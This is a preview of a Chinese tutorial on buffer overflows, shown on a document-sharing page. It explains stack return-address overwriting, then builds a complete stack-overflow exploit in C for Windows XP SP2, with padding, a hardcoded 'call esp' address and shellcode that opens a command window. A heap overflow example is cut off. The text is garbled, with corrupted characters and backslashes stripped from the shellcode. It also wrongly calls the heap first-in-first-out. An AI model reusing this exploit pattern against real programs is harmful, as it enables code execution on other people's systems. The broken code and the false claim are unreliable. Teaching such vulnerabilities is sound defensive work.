緩沖區(qū)溢出漏洞_第1頁(yè)
緩沖區(qū)溢出漏洞_第2頁(yè)
緩沖區(qū)溢出漏洞_第3頁(yè)
緩沖區(qū)溢出漏洞_第4頁(yè)
緩沖區(qū)溢出漏洞_第5頁(yè)
全文預(yù)覽已結(jié)束

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

1、緩沖區(qū)溢出漏洞IBM軟件研究院緩沖區(qū)溢出漏洞,是一種在軟件中最容易發(fā)生的漏洞。它發(fā)生的原理是,由于軟件在處理用戶數(shù)據(jù)時(shí)使用了不限邊界的拷貝,導(dǎo)致程序內(nèi)部一些關(guān)鍵的數(shù)據(jù)被覆蓋,引發(fā)了嚴(yán)重的安全問(wèn)題。    緩沖區(qū)指的是操作系統(tǒng)中用來(lái)保存臨時(shí)數(shù)據(jù)的空間,一般分為棧和堆兩種緩沖區(qū)類型。緩沖區(qū)溢出漏洞是一種非常普通、非常危險(xiǎn)的漏洞,在各種操作系統(tǒng)、應(yīng)用軟件,甚至是Web應(yīng)用程序中廣泛存在。    利用緩沖區(qū)溢出攻擊,可以導(dǎo)致程序運(yùn)行失敗、系統(tǒng)當(dāng)機(jī)、重新啟動(dòng)等后果。更為嚴(yán)重的是,可以利用它執(zhí)行非授權(quán)指令,甚至可以取得系統(tǒng)特權(quán),進(jìn)而進(jìn)行各種非法操

2、作。    在當(dāng)前網(wǎng)絡(luò)與操作系統(tǒng)安全中,50%以上的攻擊都是來(lái)自于緩沖區(qū)溢出漏洞。而緩沖區(qū)溢出中,最為危險(xiǎn)的是棧溢出,因?yàn)槿肭终呖梢岳脳R绯觯诤瘮?shù)返回時(shí)改變返回程序的地址,讓其跳轉(zhuǎn)到任意地址,帶來(lái)的一種是程序崩潰導(dǎo)致拒絕服務(wù),另外一種就是跳轉(zhuǎn)并且執(zhí)行一段惡意代碼,然后為所欲為。    這里要澄清一個(gè)概念,很多人把緩沖區(qū)溢出稱之為堆棧溢出漏洞,其實(shí)是錯(cuò)誤的,堆溢出和棧溢出是兩個(gè)不同的概念,都屬于緩沖區(qū)溢出。    平時(shí)聽(tīng)說(shuō)的緩沖區(qū)溢出大部分都是屬于棧溢出。由于程序在實(shí)現(xiàn)的過(guò)程中,往往會(huì)自定義一些內(nèi)存空間

3、來(lái)負(fù)責(zé)接受或者存儲(chǔ)數(shù)據(jù),這些被直接定義的空間大小是有限的,因此當(dāng)程序?qū)⑦^(guò)多的數(shù)據(jù)不經(jīng)檢查而直接放入這些空間中時(shí),就會(huì)發(fā)生棧溢出。    棧溢出最為直接的危害是,這些被過(guò)量放進(jìn)內(nèi)存空間的數(shù)據(jù)會(huì)將函數(shù)的返回地址覆蓋。“返回地址”的概念來(lái)自于CPU處理指令的結(jié)構(gòu)設(shè)計(jì)。如果程序現(xiàn)在準(zhǔn)備調(diào)用一個(gè)函數(shù),CPU首先會(huì)將執(zhí)行完這個(gè)函數(shù)后將要執(zhí)行的指令地址存儲(chǔ)到棧空間中,然后CPU開(kāi)始執(zhí)行函數(shù),執(zhí)行完畢,CPUCPU取出前面保存的指令地址,然后接著執(zhí)行。這個(gè)“返回地址”是保存在棧空間中的,而程序一般定義的空間也是在棧中進(jìn)行分配的,這就給了我們覆蓋這個(gè)“返回地址”的機(jī)會(huì)。 

4、   棧是一個(gè)先進(jìn)后出的空間,而堆則恰恰相反,是一個(gè)先進(jìn)先出的空間。緩沖區(qū)溢出就是把這些空間裝滿后還繼續(xù)往里面裝。    但是對(duì)于一個(gè)軟件來(lái)講,危害可能不僅僅如此,用一個(gè)表來(lái)表示這個(gè)過(guò)程在棧溢出發(fā)生的時(shí)候,軟件運(yùn)行時(shí)內(nèi)存中的情況。正常:Lower Addressesbuf2buf1var3saved %EBPreturn addressfunction()'s argumentssaved %EBPreturn addresssmain()'s argumentsHigher Addresses溢出:Lower Addresse

5、sbuf2buf1-414141414141414141414141(當(dāng)棧溢出發(fā)生時(shí),esp寄存器指向這里)41414141(return address)41414141saved %EBPreturn addressmain()'s argumentsHigher Addresses    從正常時(shí)候的內(nèi)存分布可以看出,內(nèi)存的高端部分是函數(shù)從被調(diào)用函數(shù)返回時(shí)需要的地址,而內(nèi)存低端部分則是被調(diào)用函數(shù)的兩個(gè)要使用的緩沖空間:buf1和buf2。在這里解釋一下,假設(shè)被調(diào)用的函數(shù)是strcpy,strcpy函數(shù)是一個(gè)字符串復(fù)制函數(shù),有兩個(gè)參數(shù),其中buf2代表

6、來(lái)源字符串,buf1代表目的空間,strcpy函數(shù)的目的就是要把buf2中的字符串全部復(fù)制進(jìn)入buf1代表的空間?,F(xiàn)在如果將buf2,即來(lái)源字符串弄得很長(zhǎng),假設(shè)是很多“A”,這個(gè)時(shí)候再去執(zhí)行strcpy函數(shù),內(nèi)存中的分配空間就會(huì)出現(xiàn)溢出中所表現(xiàn)的樣子。可以看到buf1中充滿字符41,“41”是A的ASCII碼,不但如此,緊接著buf1的內(nèi)存空間也全部被覆蓋成了41,最關(guān)鍵的一個(gè)地方“return address”這塊內(nèi)存也全部成了41。那么程序在執(zhí)行完strcpy函數(shù)要返回的時(shí)候,程序獲得的返回地址竟是41414141,程序不管這個(gè)地址對(duì)不對(duì),就直接返回了,結(jié)果程序會(huì)因?yàn)檫@個(gè)地址非法而出錯(cuò)。&

7、#160;   現(xiàn)在看一下,因?yàn)槌绦虻姆祷氐刂繁桓采w,所以程序出錯(cuò),而這個(gè)覆蓋值是我們故意輸入的,也就是說(shuō)我們完全能夠控制把什么數(shù)值覆蓋到程序的返回地址上,那么如果將一段惡意代碼或者要執(zhí)行某個(gè)目的的代碼,預(yù)先放入內(nèi)存中某個(gè)地址,再將這個(gè)地址覆蓋到程序的返回地址上,這樣程序一旦溢出后返回,就會(huì)自動(dòng)跳到代碼上去,并且會(huì)執(zhí)行代碼,而且這一切都是由程序“正?!眻?zhí)行的。    惡意攻擊者為了能夠利用棧溢出來(lái)控制軟件的執(zhí)行流程,一般會(huì)將溢出地址覆蓋為jmp esp指令或者call esp指令所在的地址。這是因?yàn)閷?duì)于程序來(lái)說(shuō),當(dāng)發(fā)生棧溢出時(shí),往往是程序中的某

8、一個(gè)函數(shù)的返回地址被過(guò)長(zhǎng)的數(shù)據(jù)覆蓋,此時(shí),esp寄存器指向的地址就是過(guò)長(zhǎng)數(shù)據(jù)的后半部分。如溢出時(shí)內(nèi)存分布可以看出。    如果此時(shí),esp指向的這段過(guò)長(zhǎng)數(shù)據(jù)是一段惡意代碼,那么當(dāng)我們把函數(shù)的返回地址覆蓋成為一個(gè)jmp esp指令或者call esp指令所在的地址時(shí),溢出發(fā)生后,函數(shù)一返回就會(huì)跳轉(zhuǎn)到j(luò)mp esp指令或者call esp指令所在地址上,CPU執(zhí)行jmp esp指令或者call esp指令后,馬上就會(huì)跳到esp寄存器指向的過(guò)長(zhǎng)數(shù)據(jù)上,從而執(zhí)行惡意代碼,即常說(shuō)的ShellCode。    舉個(gè)例子,如下代碼:#include

9、<stdio.h>#include<string.h>char name = "taizihuc"void cc(char * a)char output8;strcpy(output,a);printf("%sn",output);intmain()cc(name);return 0;    利用Visual C+6.0來(lái)編譯執(zhí)行。代碼中使用strcpy函數(shù)將name字符串復(fù)制到output字符串所在內(nèi)存地址中,需要注意output指向的內(nèi)存大小只有8個(gè)字節(jié)大小。在沒(méi)有發(fā)生棧溢出時(shí),代碼最終執(zhí)行結(jié)果

10、為taizihuc這個(gè)字符串。    現(xiàn)在讓name成為一段大于8個(gè)字節(jié)的字符串,將taizihuc修改為abcdefghijklmnopqrstuvwxyz,再次編譯執(zhí)行,可以看到此刻代碼最終運(yùn)行結(jié)果發(fā)生了錯(cuò)誤,系統(tǒng)給出了一個(gè)錯(cuò)誤警告提示對(duì)話框。    可以看到,程序在執(zhí)行內(nèi)存地址6c6b6a69的時(shí)候發(fā)生了錯(cuò)誤。其實(shí)這里的6c6b6a69就是“l(fā)kji”的ASCII碼,之所以不是“ijkl”,是因?yàn)閃indows操作系統(tǒng)的性質(zhì)決定了內(nèi)存中的數(shù)據(jù)是倒著存放的。也就是說(shuō)此刻,lkji這4個(gè)字母覆蓋了程序的返回地址,棧溢出現(xiàn)象發(fā)生了。&

11、#160;   具體分析一下,在i之前的abcdefgh剛好8個(gè)字節(jié),也就是output指向的8個(gè)字節(jié)的內(nèi)存地址已經(jīng)被填滿,多余的ijklmnopqrstuvwxyz就覆蓋到了??臻g中的其他數(shù)據(jù),包括函數(shù)的返回地址。    用OLLYICE來(lái)分析一下,可以看到如下關(guān)鍵的寄存器指向:ESP 0012FF80 ASCII "mnopqrstuvwxyz"EIP 6C6B6A69    從這兩句可以看到esp寄存器指向了ijkl4個(gè)字母后面的過(guò)長(zhǎng)字符串。    將mnop

12、qrstuvwxyz替換成為一段ShellCode代碼,這里用在WindowsXP SP2系統(tǒng)下打開(kāi)一個(gè)CMD命令行窗口的ShellCode程序,即:"x55x8BxECx33xC0x50x50x50xC6x45xF4x4DxC6x45xF5x53""xC6x45xF6x56xC6x45xF7x43xC6x45xF8x52xC6x45xF9x54xC6x45xFAx2ExC6""x45xFBx44xC6x45xFCx4CxC6x45xFDx4CxBA""x77x1Dx80x7C" /WindowsXP SP2 lo

13、adlibrary地址0x77e69f64"x52x8Dx45xF4x50""xFFx55xF0""x55x8BxECx83xECx2CxB8x63x6Fx6Dx6Dx89x45xF4xB8x61x6Ex64x2E""x89x45xF8xB8x63x6Fx6Dx22x89x45xFCx33xD2x88x55xFFx8Dx45xF4""x50xB8""xC7x93xBFx77" /WindowsXP SP2 system地址0x7801afc3"xFFxD0"

14、;    同時(shí),需要將ijkl4個(gè)字母替換成為一個(gè)jmp esp指令或者call esp指令所在的地址,這個(gè)地址可以通過(guò)findjmp.exe獲得。具體方法不詳細(xì)說(shuō)了。這里獲得的call esp指令地址為0x7C82385D。    OK,現(xiàn)在來(lái)修改最初的那段代碼。#include<stdio.h>#include<string.h>char name = "x41x41x41x41"         

15、     "x41x41x41x41" /這里就是8個(gè)字母A              "x5Dx38x82x7C" /這里將call esp指令地址需要倒著寫(xiě)"x55x8BxECx33xC0x50x50x50xC6x45xF4x4DxC6x45xF5x53""xC6x45xF6x56xC6x45xF7x43xC6x45xF8x52xC6x45xF9x54x

16、C6x45xFAx2ExC6""x45xFBx44xC6x45xFCx4CxC6x45xFDx4CxBA""x77x1Dx80x7C" /WindowsXP SP2 loadlibrary地址0x77e69f64"x52x8Dx45xF4x50""xFFx55xF0""x55x8BxECx83xECx2CxB8x63x6Fx6Dx6Dx89x45xF4xB8x61x6Ex64x2E""x89x45xF8xB8x63x6Fx6Dx22x89x45xFCx33xD2x88x55x

17、FFx8Dx45xF4""x50xB8""xC7x93xBFx77" /WindowsXP SP2 system地址0x7801afc3"xFFxD0" /以上就是一個(gè)開(kāi)啟CMD窗口的ShellCodevoid cc(char * a)char output8;strcpy(output,a);printf("%sn",output);intmain()cc(name);return 0;    再次編譯,可以看到程序打印出一段帶有字母A的字符串后切換窗口,打開(kāi)了一個(gè)CMD命

18、令行窗口。這個(gè)是一個(gè)典型的棧緩沖區(qū)溢出漏洞。    堆溢出是一種比較復(fù)雜的溢出,系統(tǒng)在管理堆這個(gè)緩沖區(qū)時(shí),采用的是一個(gè)雙向鏈表結(jié)構(gòu)。堆不同于棧,堆中的數(shù)據(jù)時(shí)先進(jìn)先出,當(dāng)堆溢出發(fā)生時(shí),主要是管理堆結(jié)構(gòu)的一些關(guān)鍵指針數(shù)據(jù)被覆蓋了。例:int main (int argc, char *argv)char *buf1, *buf2;char s = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbcccccccc"buf1 = (char*)malloc (32); /* 在堆上分配buf1 */memcpy (buf1, s, 32 16); /* 這里多復(fù)制16個(gè)字節(jié) */buf2 = (char*)malloc (16); /* 在堆上分配buf2 */free (buf1);free (buf2);return 0;    在給buf1完成malloc之后,返回的地址(buf1)是個(gè)指針,指向的內(nèi)

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

最新文檔

評(píng)論

0/150

提交評(píng)論